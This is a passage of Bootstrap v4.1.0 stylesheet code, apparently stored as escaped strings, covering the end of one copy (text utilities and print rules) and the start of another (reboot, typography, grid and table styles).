.text-md-center {\n text-align: center !important;\n }\n}\n\n@media (min-width: 992px) {\n .text-lg-left {\n text-align: left !important;\n }\n .text-lg-right {\n text-align: right !important;\n }\n .text-lg-center {\n text-align: center !important;\n }\n}\n\n@media (min-width: 1200px) {\n .text-xl-left {\n text-align: left !important;\n }\n .text-xl-right {\n text-align: right !important;\n }\n .text-xl-center {\n text-align: center !important;\n }\n}\n\n.text-lowercase {\n text-transform: lowercase !important;\n}\n\n.text-uppercase {\n text-transform: uppercase !important;\n}\n\n.text-capitalize {\n text-transform: capitalize !important;\n}\n\n.font-weight-light {\n font-weight: 300 !important;\n}\n\n.font-weight-normal {\n font-weight: 400 !important;\n}\n\n.font-weight-bold {\n font-weight: 700 !important;\n}\n\n.font-italic {\n font-style: italic !important;\n}\n\n.text-white {\n color: #fff !important;\n}\n\n.text-primary {\n color: #007bff !important;\n}\n\na.text-primary:hover, a.text-primary:focus {\n color: #0062cc !important;\n}\n\n.text-secondary {\n color: #6c757d !important;\n}\n\na.text-secondary:hover, a.text-secondary:focus {\n color: #545b62 !important;\n}\n\n.text-success {\n color: #28a745 !important;\n}\n\na.text-success:hover, a.text-success:focus {\n color: #1e7e34 !important;\n}\n\n.text-info {\n color: #17a2b8 !important;\n}\n\na.text-info:hover, a.text-info:focus {\n color: #117a8b !important;\n}\n\n.text-warning {\n color: #ffc107 !important;\n}\n\na.text-warning:hover, a.text-warning:focus {\n color: #d39e00 !important;\n}\n\n.text-danger {\n color: #dc3545 !important;\n}\n\na.text-danger:hover, a.text-danger:focus {\n color: #bd2130 !important;\n}\n\n.text-light {\n color: #f8f9fa !important;\n}\n\na.text-light:hover, a.text-light:focus {\n color: #dae0e5 !important;\n}\n\n.text-dark {\n color: #343a40 !important;\n}\n\na.text-dark:hover, a.text-dark:focus {\n color: #1d2124 !important;\n}\n\n.text-body {\n color: #212529 !important;\n}\n\n.text-muted {\n color: #6c757d !important;\n}\n\n.text-black-50 {\n color: rgba(0, 0, 0, 0.5) !important;\n}\n\n.text-white-50 {\n color: rgba(255, 255, 255, 0.5) !important;\n}\n\n.text-hide {\n font: 0/0 a;\n color: transparent;\n text-shadow: none;\n background-color: transparent;\n border: 0;\n}\n\n.visible {\n visibility: visible !important;\n}\n\n.invisible {\n visibility: hidden !important;\n}\n\n@media print {\n *,\n *::before,\n *::after {\n text-shadow: none !important;\n box-shadow: none !important;\n }\n a:not(.btn) {\n text-decoration: underline;\n }\n abbr[title]::after {\n content: \" (\" attr(title) \")\";\n }\n pre {\n white-space: pre-wrap !important;\n }\n pre,\n blockquote {\n border: 1px solid #adb5bd;\n page-break-inside: avoid;\n }\n thead {\n display: table-header-group;\n }\n tr,\n img {\n page-break-inside: avoid;\n }\n p,\n h2,\n h3 {\n orphans: 3;\n widows: 3;\n }\n h2,\n h3 {\n page-break-after: avoid;\n }\n @page {\n size: a3;\n }\n body {\n min-width: 992px !important;\n }\n .container {\n min-width: 992px !important;\n }\n .navbar {\n display: none;\n }\n .badge {\n border: 1px solid #000;\n }\n .table {\n border-collapse: collapse !important;\n }\n .table td,\n .table th {\n background-color: #fff !important;\n }\n .table-bordered th,\n .table-bordered td {\n border: 1px solid #dee2e6 !important;\n }\n}\n/*# sourceMappingURL=bootstrap.css.map */","/*!\n * Bootstrap v4.1.0 (https://getbootstrap.com/)\n * Copyright 2011-2018 The Bootstrap Authors\n * Copyright 2011-2018 Twitter, Inc.\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n */\n:root {\n --blue: #007bff;\n --indigo: #6610f2;\n --purple: #6f42c1;\n --pink: #e83e8c;\n --red: #dc3545;\n --orange: #fd7e14;\n --yellow: #ffc107;\n --green: #28a745;\n --teal: #20c997;\n --cyan: #17a2b8;\n --white: #fff;\n --gray: #6c757d;\n --gray-dark: #343a40;\n --primary: #007bff;\n --secondary: #6c757d;\n --success: #28a745;\n --info: #17a2b8;\n --warning: #ffc107;\n --danger: #dc3545;\n --light: #f8f9fa;\n --dark: #343a40;\n --breakpoint-xs: 0;\n --breakpoint-sm: 576px;\n --breakpoint-md: 768px;\n --breakpoint-lg: 992px;\n --breakpoint-xl: 1200px;\n --font-family-sans-serif: -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, \"Helvetica Neue\", Arial, sans-serif, \"Apple Color Emoji\", \"Segoe UI Emoji\", \"Segoe UI Symbol\";\n --font-family-monospace: SFMono-Regular, Menlo, Monaco, Consolas, \"Liberation Mono\", \"Courier New\", monospace;\n}\n\n*,\n*::before,\n*::after {\n box-sizing: border-box;\n}\n\nhtml {\n font-family: sans-serif;\n line-height: 1.15;\n -webkit-text-size-adjust: 100%;\n -ms-text-size-adjust: 100%;\n -ms-overflow-style: scrollbar;\n -webkit-tap-highlight-color: transparent;\n}\n\n@-ms-viewport {\n width: device-width;\n}\n\narticle, aside, dialog, figcaption, figure, footer, header, hgroup, main, nav, section {\n display: block;\n}\n\nbody {\n margin: 0;\n font-family: -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, \"Helvetica Neue\", Arial, sans-serif, \"Apple Color Emoji\", \"Segoe UI Emoji\", \"Segoe UI Symbol\";\n font-size: 1rem;\n font-weight: 400;\n line-height: 1.5;\n color: #212529;\n text-align: left;\n background-color: #fff;\n}\n\n[tabindex=\"-1\"]:focus {\n outline: 0 !important;\n}\n\nhr {\n box-sizing: content-box;\n height: 0;\n overflow: visible;\n}\n\nh1, h2, h3, h4, h5, h6 {\n margin-top: 0;\n margin-bottom: 0.5rem;\n}\n\np {\n margin-top: 0;\n margin-bottom: 1rem;\n}\n\nabbr[title],\nabbr[data-original-title] {\n text-decoration: underline;\n text-decoration: underline dotted;\n cursor: help;\n border-bottom: 0;\n}\n\naddress {\n margin-bottom: 1rem;\n font-style: normal;\n line-height: inherit;\n}\n\nol,\nul,\ndl {\n margin-top: 0;\n margin-bottom: 1rem;\n}\n\nol ol,\nul ul,\nol ul,\nul ol {\n margin-bottom: 0;\n}\n\ndt {\n font-weight: 700;\n}\n\ndd {\n margin-bottom: .5rem;\n margin-left: 0;\n}\n\nblockquote {\n margin: 0 0 1rem;\n}\n\ndfn {\n font-style: italic;\n}\n\nb,\nstrong {\n font-weight: bolder;\n}\n\nsmall {\n font-size: 80%;\n}\n\nsub,\nsup {\n position: relative;\n font-size: 75%;\n line-height: 0;\n vertical-align: baseline;\n}\n\nsub {\n bottom: -.25em;\n}\n\nsup {\n top: -.5em;\n}\n\na {\n color: #007bff;\n text-decoration: none;\n background-color: transparent;\n -webkit-text-decoration-skip: objects;\n}\n\na:hover {\n color: #0056b3;\n text-decoration: underline;\n}\n\na:not([href]):not([tabindex]) {\n color: inherit;\n text-decoration: none;\n}\n\na:not([href]):not([tabindex]):hover, a:not([href]):not([tabindex]):focus {\n color: inherit;\n text-decoration: none;\n}\n\na:not([href]):not([tabindex]):focus {\n outline: 0;\n}\n\npre,\ncode,\nkbd,\nsamp {\n font-family: monospace, monospace;\n font-size: 1em;\n}\n\npre {\n margin-top: 0;\n margin-bottom: 1rem;\n overflow: auto;\n -ms-overflow-style: scrollbar;\n}\n\nfigure {\n margin: 0 0 1rem;\n}\n\nimg {\n vertical-align: middle;\n border-style: none;\n}\n\nsvg:not(:root) {\n overflow: hidden;\n}\n\ntable {\n border-collapse: collapse;\n}\n\ncaption {\n padding-top: 0.75rem;\n padding-bottom: 0.75rem;\n color: #6c757d;\n text-align: left;\n caption-side: bottom;\n}\n\nth {\n text-align: inherit;\n}\n\nlabel {\n display: inline-block;\n margin-bottom: 0.5rem;\n}\n\nbutton {\n border-radius: 0;\n}\n\nbutton:focus {\n outline: 1px dotted;\n outline: 5px auto -webkit-focus-ring-color;\n}\n\ninput,\nbutton,\nselect,\noptgroup,\ntextarea {\n margin: 0;\n font-family: inherit;\n font-size: inherit;\n line-height: inherit;\n}\n\nbutton,\ninput {\n overflow: visible;\n}\n\nbutton,\nselect {\n text-transform: none;\n}\n\nbutton,\nhtml [type=\"button\"],\n[type=\"reset\"],\n[type=\"submit\"] {\n -webkit-appearance: button;\n}\n\nbutton::-moz-focus-inner,\n[type=\"button\"]::-moz-focus-inner,\n[type=\"reset\"]::-moz-focus-inner,\n[type=\"submit\"]::-moz-focus-inner {\n padding: 0;\n border-style: none;\n}\n\ninput[type=\"radio\"],\ninput[type=\"checkbox\"] {\n box-sizing: border-box;\n padding: 0;\n}\n\ninput[type=\"date\"],\ninput[type=\"time\"],\ninput[type=\"datetime-local\"],\ninput[type=\"month\"] {\n -webkit-appearance: listbox;\n}\n\ntextarea {\n overflow: auto;\n resize: vertical;\n}\n\nfieldset {\n min-width: 0;\n padding: 0;\n margin: 0;\n border: 0;\n}\n\nlegend {\n display: block;\n width: 100%;\n max-width: 100%;\n padding: 0;\n margin-bottom: .5rem;\n font-size: 1.5rem;\n line-height: inherit;\n color: inherit;\n white-space: normal;\n}\n\nprogress {\n vertical-align: baseline;\n}\n\n[type=\"number\"]::-webkit-inner-spin-button,\n[type=\"number\"]::-webkit-outer-spin-button {\n height: auto;\n}\n\n[type=\"search\"] {\n outline-offset: -2px;\n -webkit-appearance: none;\n}\n\n[type=\"search\"]::-webkit-search-cancel-button,\n[type=\"search\"]::-webkit-search-decoration {\n -webkit-appearance: none;\n}\n\n::-webkit-file-upload-button {\n font: inherit;\n -webkit-appearance: button;\n}\n\noutput {\n display: inline-block;\n}\n\nsummary {\n display: list-item;\n cursor: pointer;\n}\n\ntemplate {\n display: none;\n}\n\n[hidden] {\n display: none !important;\n}\n\nh1, h2, h3, h4, h5, h6,\n.h1, .h2, .h3, .h4, .h5, .h6 {\n margin-bottom: 0.5rem;\n font-family: inherit;\n font-weight: 500;\n line-height: 1.2;\n color: inherit;\n}\n\nh1, .h1 {\n font-size: 2.5rem;\n}\n\nh2, .h2 {\n font-size: 2rem;\n}\n\nh3, .h3 {\n font-size: 1.75rem;\n}\n\nh4, .h4 {\n font-size: 1.5rem;\n}\n\nh5, .h5 {\n font-size: 1.25rem;\n}\n\nh6, .h6 {\n font-size: 1rem;\n}\n\n.lead {\n font-size: 1.25rem;\n font-weight: 300;\n}\n\n.display-1 {\n font-size: 6rem;\n font-weight: 300;\n line-height: 1.2;\n}\n\n.display-2 {\n font-size: 5.5rem;\n font-weight: 300;\n line-height: 1.2;\n}\n\n.display-3 {\n font-size: 4.5rem;\n font-weight: 300;\n line-height: 1.2;\n}\n\n.display-4 {\n font-size: 3.5rem;\n font-weight: 300;\n line-height: 1.2;\n}\n\nhr {\n margin-top: 1rem;\n margin-bottom: 1rem;\n border: 0;\n border-top: 1px solid rgba(0, 0, 0, 0.1);\n}\n\nsmall,\n.small {\n font-size: 80%;\n font-weight: 400;\n}\n\nmark,\n.mark {\n padding: 0.2em;\n background-color: #fcf8e3;\n}\n\n.list-unstyled {\n padding-left: 0;\n list-style: none;\n}\n\n.list-inline {\n padding-left: 0;\n list-style: none;\n}\n\n.list-inline-item {\n display: inline-block;\n}\n\n.list-inline-item:not(:last-child) {\n margin-right: 0.5rem;\n}\n\n.initialism {\n font-size: 90%;\n text-transform: uppercase;\n}\n\n.blockquote {\n margin-bottom: 1rem;\n font-size: 1.25rem;\n}\n\n.blockquote-footer {\n display: block;\n font-size: 80%;\n color: #6c757d;\n}\n\n.blockquote-footer::before {\n content: \"\\2014 \\00A0\";\n}\n\n.img-fluid {\n max-width: 100%;\n height: auto;\n}\n\n.img-thumbnail {\n padding: 0.25rem;\n background-color: #fff;\n border: 1px solid #dee2e6;\n border-radius: 0.25rem;\n max-width: 100%;\n height: auto;\n}\n\n.figure {\n display: inline-block;\n}\n\n.figure-img {\n margin-bottom: 0.5rem;\n line-height: 1;\n}\n\n.figure-caption {\n font-size: 90%;\n color: #6c757d;\n}\n\ncode,\nkbd,\npre,\nsamp {\n font-family: SFMono-Regular, Menlo, Monaco, Consolas, \"Liberation Mono\", \"Courier New\", monospace;\n}\n\ncode {\n font-size: 87.5%;\n color: #e83e8c;\n word-break: break-word;\n}\n\na > code {\n color: inherit;\n}\n\nkbd {\n padding: 0.2rem 0.4rem;\n font-size: 87.5%;\n color: #fff;\n background-color: #212529;\n border-radius: 0.2rem;\n}\n\nkbd kbd {\n padding: 0;\n font-size: 100%;\n font-weight: 700;\n}\n\npre {\n display: block;\n font-size: 87.5%;\n color: #212529;\n}\n\npre code {\n font-size: inherit;\n color: inherit;\n word-break: normal;\n}\n\n.pre-scrollable {\n max-height: 340px;\n overflow-y: scroll;\n}\n\n.container {\n width: 100%;\n padding-right: 15px;\n padding-left: 15px;\n margin-right: auto;\n margin-left: auto;\n}\n\n@media (min-width: 576px) {\n .container {\n max-width: 540px;\n }\n}\n\n@media (min-width: 768px) {\n .container {\n max-width: 720px;\n }\n}\n\n@media (min-width: 992px) {\n .container {\n max-width: 960px;\n }\n}\n\n@media (min-width: 1200px) {\n .container {\n max-width: 1140px;\n }\n}\n\n.container-fluid {\n width: 100%;\n padding-right: 15px;\n padding-left: 15px;\n margin-right: auto;\n margin-left: auto;\n}\n\n.row {\n display: flex;\n flex-wrap: wrap;\n margin-right: -15px;\n margin-left: -15px;\n}\n\n.no-gutters {\n margin-right: 0;\n margin-left: 0;\n}\n\n.no-gutters > .col,\n.no-gutters > [class*=\"col-\"] {\n padding-right: 0;\n padding-left: 0;\n}\n\n.col-1, .col-2, .col-3, .col-4, .col-5, .col-6, .col-7, .col-8, .col-9, .col-10, .col-11, .col-12, .col,\n.col-auto, .col-sm-1, .col-sm-2, .col-sm-3, .col-sm-4, .col-sm-5, .col-sm-6, .col-sm-7, .col-sm-8, .col-sm-9, .col-sm-10, .col-sm-11, .col-sm-12, .col-sm,\n.col-sm-auto, .col-md-1, .col-md-2, .col-md-3, .col-md-4, .col-md-5, .col-md-6, .col-md-7, .col-md-8, .col-md-9, .col-md-10, .col-md-11, .col-md-12, .col-md,\n.col-md-auto, .col-lg-1, .col-lg-2, .col-lg-3, .col-lg-4, .col-lg-5, .col-lg-6, .col-lg-7, .col-lg-8, .col-lg-9, .col-lg-10, .col-lg-11, .col-lg-12, .col-lg,\n.col-lg-auto, .col-xl-1, .col-xl-2, .col-xl-3, .col-xl-4, .col-xl-5, .col-xl-6, .col-xl-7, .col-xl-8, .col-xl-9, .col-xl-10, .col-xl-11, .col-xl-12, .col-xl,\n.col-xl-auto {\n position: relative;\n width: 100%;\n min-height: 1px;\n padding-right: 15px;\n padding-left: 15px;\n}\n\n.col {\n flex-basis: 0;\n flex-grow: 1;\n max-width: 100%;\n}\n\n.col-auto {\n flex: 0 0 auto;\n width: auto;\n max-width: none;\n}\n\n.col-1 {\n flex: 0 0 8.333333%;\n max-width: 8.333333%;\n}\n\n.col-2 {\n flex: 0 0 16.666667%;\n max-width: 16.666667%;\n}\n\n.col-3 {\n flex: 0 0 25%;\n max-width: 25%;\n}\n\n.col-4 {\n flex: 0 0 33.333333%;\n max-width: 33.333333%;\n}\n\n.col-5 {\n flex: 0 0 41.666667%;\n max-width: 41.666667%;\n}\n\n.col-6 {\n flex: 0 0 50%;\n max-width: 50%;\n}\n\n.col-7 {\n flex: 0 0 58.333333%;\n max-width: 58.333333%;\n}\n\n.col-8 {\n flex: 0 0 66.666667%;\n max-width: 66.666667%;\n}\n\n.col-9 {\n flex: 0 0 75%;\n max-width: 75%;\n}\n\n.col-10 {\n flex: 0 0 83.333333%;\n max-width: 83.333333%;\n}\n\n.col-11 {\n flex: 0 0 91.666667%;\n max-width: 91.666667%;\n}\n\n.col-12 {\n flex: 0 0 100%;\n max-width: 100%;\n}\n\n.order-first {\n order: -1;\n}\n\n.order-last {\n order: 13;\n}\n\n.order-0 {\n order: 0;\n}\n\n.order-1 {\n order: 1;\n}\n\n.order-2 {\n order: 2;\n}\n\n.order-3 {\n order: 3;\n}\n\n.order-4 {\n order: 4;\n}\n\n.order-5 {\n order: 5;\n}\n\n.order-6 {\n order: 6;\n}\n\n.order-7 {\n order: 7;\n}\n\n.order-8 {\n order: 8;\n}\n\n.order-9 {\n order: 9;\n}\n\n.order-10 {\n order: 10;\n}\n\n.order-11 {\n order: 11;\n}\n\n.order-12 {\n order: 12;\n}\n\n.offset-1 {\n margin-left: 8.333333%;\n}\n\n.offset-2 {\n margin-left: 16.666667%;\n}\n\n.offset-3 {\n margin-left: 25%;\n}\n\n.offset-4 {\n margin-left: 33.333333%;\n}\n\n.offset-5 {\n margin-left: 41.666667%;\n}\n\n.offset-6 {\n margin-left: 50%;\n}\n\n.offset-7 {\n margin-left: 58.333333%;\n}\n\n.offset-8 {\n margin-left: 66.666667%;\n}\n\n.offset-9 {\n margin-left: 75%;\n}\n\n.offset-10 {\n margin-left: 83.333333%;\n}\n\n.offset-11 {\n margin-left: 91.666667%;\n}\n\n@media (min-width: 576px) {\n .col-sm {\n flex-basis: 0;\n flex-grow: 1;\n max-width: 100%;\n }\n .col-sm-auto {\n flex: 0 0 auto;\n width: auto;\n max-width: none;\n }\n .col-sm-1 {\n flex: 0 0 8.333333%;\n max-width: 8.333333%;\n }\n .col-sm-2 {\n flex: 0 0 16.666667%;\n max-width: 16.666667%;\n }\n .col-sm-3 {\n flex: 0 0 25%;\n max-width: 25%;\n }\n .col-sm-4 {\n flex: 0 0 33.333333%;\n max-width: 33.333333%;\n }\n .col-sm-5 {\n flex: 0 0 41.666667%;\n max-width: 41.666667%;\n }\n .col-sm-6 {\n flex: 0 0 50%;\n max-width: 50%;\n }\n .col-sm-7 {\n flex: 0 0 58.333333%;\n max-width: 58.333333%;\n }\n .col-sm-8 {\n flex: 0 0 66.666667%;\n max-width: 66.666667%;\n }\n .col-sm-9 {\n flex: 0 0 75%;\n max-width: 75%;\n }\n .col-sm-10 {\n flex: 0 0 83.333333%;\n max-width: 83.333333%;\n }\n .col-sm-11 {\n flex: 0 0 91.666667%;\n max-width: 91.666667%;\n }\n .col-sm-12 {\n flex: 0 0 100%;\n max-width: 100%;\n }\n .order-sm-first {\n order: -1;\n }\n .order-sm-last {\n order: 13;\n }\n .order-sm-0 {\n order: 0;\n }\n .order-sm-1 {\n order: 1;\n }\n .order-sm-2 {\n order: 2;\n }\n .order-sm-3 {\n order: 3;\n }\n .order-sm-4 {\n order: 4;\n }\n .order-sm-5 {\n order: 5;\n }\n .order-sm-6 {\n order: 6;\n }\n .order-sm-7 {\n order: 7;\n }\n .order-sm-8 {\n order: 8;\n }\n .order-sm-9 {\n order: 9;\n }\n .order-sm-10 {\n order: 10;\n }\n .order-sm-11 {\n order: 11;\n }\n .order-sm-12 {\n order: 12;\n }\n .offset-sm-0 {\n margin-left: 0;\n }\n .offset-sm-1 {\n margin-left: 8.333333%;\n }\n .offset-sm-2 {\n margin-left: 16.666667%;\n }\n .offset-sm-3 {\n margin-left: 25%;\n }\n .offset-sm-4 {\n margin-left: 33.333333%;\n }\n .offset-sm-5 {\n margin-left: 41.666667%;\n }\n .offset-sm-6 {\n margin-left: 50%;\n }\n .offset-sm-7 {\n margin-left: 58.333333%;\n }\n .offset-sm-8 {\n margin-left: 66.666667%;\n }\n .offset-sm-9 {\n margin-left: 75%;\n }\n .offset-sm-10 {\n margin-left: 83.333333%;\n }\n .offset-sm-11 {\n margin-left: 91.666667%;\n }\n}\n\n@media (min-width: 768px) {\n .col-md {\n flex-basis: 0;\n flex-grow: 1;\n max-width: 100%;\n }\n .col-md-auto {\n flex: 0 0 auto;\n width: auto;\n max-width: none;\n }\n .col-md-1 {\n flex: 0 0 8.333333%;\n max-width: 8.333333%;\n }\n .col-md-2 {\n flex: 0 0 16.666667%;\n max-width: 16.666667%;\n }\n .col-md-3 {\n flex: 0 0 25%;\n max-width: 25%;\n }\n .col-md-4 {\n flex: 0 0 33.333333%;\n max-width: 33.333333%;\n }\n .col-md-5 {\n flex: 0 0 41.666667%;\n max-width: 41.666667%;\n }\n .col-md-6 {\n flex: 0 0 50%;\n max-width: 50%;\n }\n .col-md-7 {\n flex: 0 0 58.333333%;\n max-width: 58.333333%;\n }\n .col-md-8 {\n flex: 0 0 66.666667%;\n max-width: 66.666667%;\n }\n .col-md-9 {\n flex: 0 0 75%;\n max-width: 75%;\n }\n .col-md-10 {\n flex: 0 0 83.333333%;\n max-width: 83.333333%;\n }\n .col-md-11 {\n flex: 0 0 91.666667%;\n max-width: 91.666667%;\n }\n .col-md-12 {\n flex: 0 0 100%;\n max-width: 100%;\n }\n .order-md-first {\n order: -1;\n }\n .order-md-last {\n order: 13;\n }\n .order-md-0 {\n order: 0;\n }\n .order-md-1 {\n order: 1;\n }\n .order-md-2 {\n order: 2;\n }\n .order-md-3 {\n order: 3;\n }\n .order-md-4 {\n order: 4;\n }\n .order-md-5 {\n order: 5;\n }\n .order-md-6 {\n order: 6;\n }\n .order-md-7 {\n order: 7;\n }\n .order-md-8 {\n order: 8;\n }\n .order-md-9 {\n order: 9;\n }\n .order-md-10 {\n order: 10;\n }\n .order-md-11 {\n order: 11;\n }\n .order-md-12 {\n order: 12;\n }\n .offset-md-0 {\n margin-left: 0;\n }\n .offset-md-1 {\n margin-left: 8.333333%;\n }\n .offset-md-2 {\n margin-left: 16.666667%;\n }\n .offset-md-3 {\n margin-left: 25%;\n }\n .offset-md-4 {\n margin-left: 33.333333%;\n }\n .offset-md-5 {\n margin-left: 41.666667%;\n }\n .offset-md-6 {\n margin-left: 50%;\n }\n .offset-md-7 {\n margin-left: 58.333333%;\n }\n .offset-md-8 {\n margin-left: 66.666667%;\n }\n .offset-md-9 {\n margin-left: 75%;\n }\n .offset-md-10 {\n margin-left: 83.333333%;\n }\n .offset-md-11 {\n margin-left: 91.666667%;\n }\n}\n\n@media (min-width: 992px) {\n .col-lg {\n flex-basis: 0;\n flex-grow: 1;\n max-width: 100%;\n }\n .col-lg-auto {\n flex: 0 0 auto;\n width: auto;\n max-width: none;\n }\n .col-lg-1 {\n flex: 0 0 8.333333%;\n max-width: 8.333333%;\n }\n .col-lg-2 {\n flex: 0 0 16.666667%;\n max-width: 16.666667%;\n }\n .col-lg-3 {\n flex: 0 0 25%;\n max-width: 25%;\n }\n .col-lg-4 {\n flex: 0 0 33.333333%;\n max-width: 33.333333%;\n }\n .col-lg-5 {\n flex: 0 0 41.666667%;\n max-width: 41.666667%;\n }\n .col-lg-6 {\n flex: 0 0 50%;\n max-width: 50%;\n }\n .col-lg-7 {\n flex: 0 0 58.333333%;\n max-width: 58.333333%;\n }\n .col-lg-8 {\n flex: 0 0 66.666667%;\n max-width: 66.666667%;\n }\n .col-lg-9 {\n flex: 0 0 75%;\n max-width: 75%;\n }\n .col-lg-10 {\n flex: 0 0 83.333333%;\n max-width: 83.333333%;\n }\n .col-lg-11 {\n flex: 0 0 91.666667%;\n max-width: 91.666667%;\n }\n .col-lg-12 {\n flex: 0 0 100%;\n max-width: 100%;\n }\n .order-lg-first {\n order: -1;\n }\n .order-lg-last {\n order: 13;\n }\n .order-lg-0 {\n order: 0;\n }\n .order-lg-1 {\n order: 1;\n }\n .order-lg-2 {\n order: 2;\n }\n .order-lg-3 {\n order: 3;\n }\n .order-lg-4 {\n order: 4;\n }\n .order-lg-5 {\n order: 5;\n }\n .order-lg-6 {\n order: 6;\n }\n .order-lg-7 {\n order: 7;\n }\n .order-lg-8 {\n order: 8;\n }\n .order-lg-9 {\n order: 9;\n }\n .order-lg-10 {\n order: 10;\n }\n .order-lg-11 {\n order: 11;\n }\n .order-lg-12 {\n order: 12;\n }\n .offset-lg-0 {\n margin-left: 0;\n }\n .offset-lg-1 {\n margin-left: 8.333333%;\n }\n .offset-lg-2 {\n margin-left: 16.666667%;\n }\n .offset-lg-3 {\n margin-left: 25%;\n }\n .offset-lg-4 {\n margin-left: 33.333333%;\n }\n .offset-lg-5 {\n margin-left: 41.666667%;\n }\n .offset-lg-6 {\n margin-left: 50%;\n }\n .offset-lg-7 {\n margin-left: 58.333333%;\n }\n .offset-lg-8 {\n margin-left: 66.666667%;\n }\n .offset-lg-9 {\n margin-left: 75%;\n }\n .offset-lg-10 {\n margin-left: 83.333333%;\n }\n .offset-lg-11 {\n margin-left: 91.666667%;\n }\n}\n\n@media (min-width: 1200px) {\n .col-xl {\n flex-basis: 0;\n flex-grow: 1;\n max-width: 100%;\n }\n .col-xl-auto {\n flex: 0 0 auto;\n width: auto;\n max-width: none;\n }\n .col-xl-1 {\n flex: 0 0 8.333333%;\n max-width: 8.333333%;\n }\n .col-xl-2 {\n flex: 0 0 16.666667%;\n max-width: 16.666667%;\n }\n .col-xl-3 {\n flex: 0 0 25%;\n max-width: 25%;\n }\n .col-xl-4 {\n flex: 0 0 33.333333%;\n max-width: 33.333333%;\n }\n .col-xl-5 {\n flex: 0 0 41.666667%;\n max-width: 41.666667%;\n }\n .col-xl-6 {\n flex: 0 0 50%;\n max-width: 50%;\n }\n .col-xl-7 {\n flex: 0 0 58.333333%;\n max-width: 58.333333%;\n }\n .col-xl-8 {\n flex: 0 0 66.666667%;\n max-width: 66.666667%;\n }\n .col-xl-9 {\n flex: 0 0 75%;\n max-width: 75%;\n }\n .col-xl-10 {\n flex: 0 0 83.333333%;\n max-width: 83.333333%;\n }\n .col-xl-11 {\n flex: 0 0 91.666667%;\n max-width: 91.666667%;\n }\n .col-xl-12 {\n flex: 0 0 100%;\n max-width: 100%;\n }\n .order-xl-first {\n order: -1;\n }\n .order-xl-last {\n order: 13;\n }\n .order-xl-0 {\n order: 0;\n }\n .order-xl-1 {\n order: 1;\n }\n .order-xl-2 {\n order: 2;\n }\n .order-xl-3 {\n order: 3;\n }\n .order-xl-4 {\n order: 4;\n }\n .order-xl-5 {\n order: 5;\n }\n .order-xl-6 {\n order: 6;\n }\n .order-xl-7 {\n order: 7;\n }\n .order-xl-8 {\n order: 8;\n }\n .order-xl-9 {\n order: 9;\n }\n .order-xl-10 {\n order: 10;\n }\n .order-xl-11 {\n order: 11;\n }\n .order-xl-12 {\n order: 12;\n }\n .offset-xl-0 {\n margin-left: 0;\n }\n .offset-xl-1 {\n margin-left: 8.333333%;\n }\n .offset-xl-2 {\n margin-left: 16.666667%;\n }\n .offset-xl-3 {\n margin-left: 25%;\n }\n .offset-xl-4 {\n margin-left: 33.333333%;\n }\n .offset-xl-5 {\n margin-left: 41.666667%;\n }\n .offset-xl-6 {\n margin-left: 50%;\n }\n .offset-xl-7 {\n margin-left: 58.333333%;\n }\n .offset-xl-8 {\n margin-left: 66.666667%;\n }\n .offset-xl-9 {\n margin-left: 75%;\n }\n .offset-xl-10 {\n margin-left: 83.333333%;\n }\n .offset-xl-11 {\n margin-left: 91.666667%;\n }\n}\n\n.table {\n width: 100%;\n max-width: 100%;\n margin-bottom: 1rem;\n background-color: transparent;\n}\n\n.table th,\n.table td {\n padding: 0.75rem;\n vertical-align: top;\n border-top: 1px solid #dee2e6;\n}\n\n.table thead th {\n vertical-align: bottom;\n border-bottom: 2px solid #dee2e6;\n}\n\n.table tbody + tbody {\n border-top: 2px solid #dee2e6;\n}\n\n.table .table {\n background-color: #fff;\n}\n\n.table-sm th,\n.table-sm td {\n padding: 0.3rem;\n}\n\n.table-bordered {\n border: 1px solid #dee2e6;\n}\n\n.table-bordered th,\n.table-bordered td {\n border: 1px solid #dee2e6;\n}\n\n.table-bordered thead th,\n.table-bordered thead td {\n border-bottom-width: 2px;\n}\n\n.table-borderless th,\n.table-borderless td,\n.table-borderless thead th,\n.table-borderless tbody + tbody {\n border: 0;\n}\n\n.table-striped tbody tr:nth-of-type(odd) {\n background-color: rgba(0, 0, 0, 0.05);\n}\n\n.table-hover tbody tr:hover {\n background-color: rgba(0, 0, 0, 0.075);\n}\n\n.table-primary,\n.table-primary > th,\n.table-primary > td {\n background-color: #b8daff;\n}\n\n.table-hover .table-primary:hover {\n background-color: #9fcdff;\n}\n\n.table-hover .table-primary:hover > td,\n.table-hover .table-primary:hover > th {\n background-color: #9fcdff;\n}\n\n.table-secondary,\n.table-secondary > th,\n.table-secondary > td {\n background-color: #d6d8db;\n}\n\n.table-hover .table-secondary:hover {\n background-color: #c8cbcf;\n}\n\n.table-hover .table-secondary:hover > td,\n.table-hover .table-secondary:hover > th {\n background-color: #c8cbcf;\n}\n\n.table-success,\n.table-success > th,\n.table-success > td {\n background-color: #c3e6cb;\n}\n\n.table-hover .table-success:hover {\n background-color: #b1dfbb;\n}\n\n.table-hover .table-success:hover > td,\n.table-hover .table-success:hover > th {\n background-color: #b1dfbb;\n}\n\n.table-info,\n.table-info > th,\n.table-info > td {\n background-color: #bee5eb;\n}\n\n.table-hover .table-info:hover {\n background-color: #abdde5;\n}\n\n.table-hover .table-info:hover > td,\n.table-hover .table-info:hover > th {\n background-color: #abdde5;\n}\n\n.table-warning,\n.table-warning > th,\n.table-warning > td {\n background-color: #ffeeba;\n}\n\n.table-hover .table-warning:hover {\n background-color: #ffe8a1;\n}\n\n.table-hover .table-warning:hover > td,\n.table-hover .table-warning:hover > th {\n background-color: #ffe8a1;\n}\n\n.table-danger,\n.table-danger > th,\n.table-danger > td {\n background-color: #f5c6cb;\n}\n\n.table-hover .table-danger:hover {\n background-color: #f1b0b7;\n}\n\n.table-hover .table-danger:hover > td,\n.table-hover .table-danger:hover > th {\n background-color: #f1b0b7;\n}\n\n.table-light,\n.table-light > th,\n.table-light > td {\n background-color: #fdfdfe;\n}\n\n.table-hover .table-light:hover {\n background-color: #ececf6;\n}\n\n.table-hover .table-light:hover > td,\n.table-hover .table-light:hover > th {\n background-color: #ececf6;\n}\n\n.table-dark,\n.table-dark > th,\n.table-dark > td {\n background-color: #c6c8ca;\n}\n\n.table-hover .table-dark:hover {\n background-color: #b9bbbe;\n}\n\n.table-hover .table-dark:hover > td,\n.table-hover .table-dark:hover > th {\n background-color: #b9bbbe;\n}\n\n.table-active,\n.table-active > th,\n.table-active > td {\n background-color: rgba(0, 0, 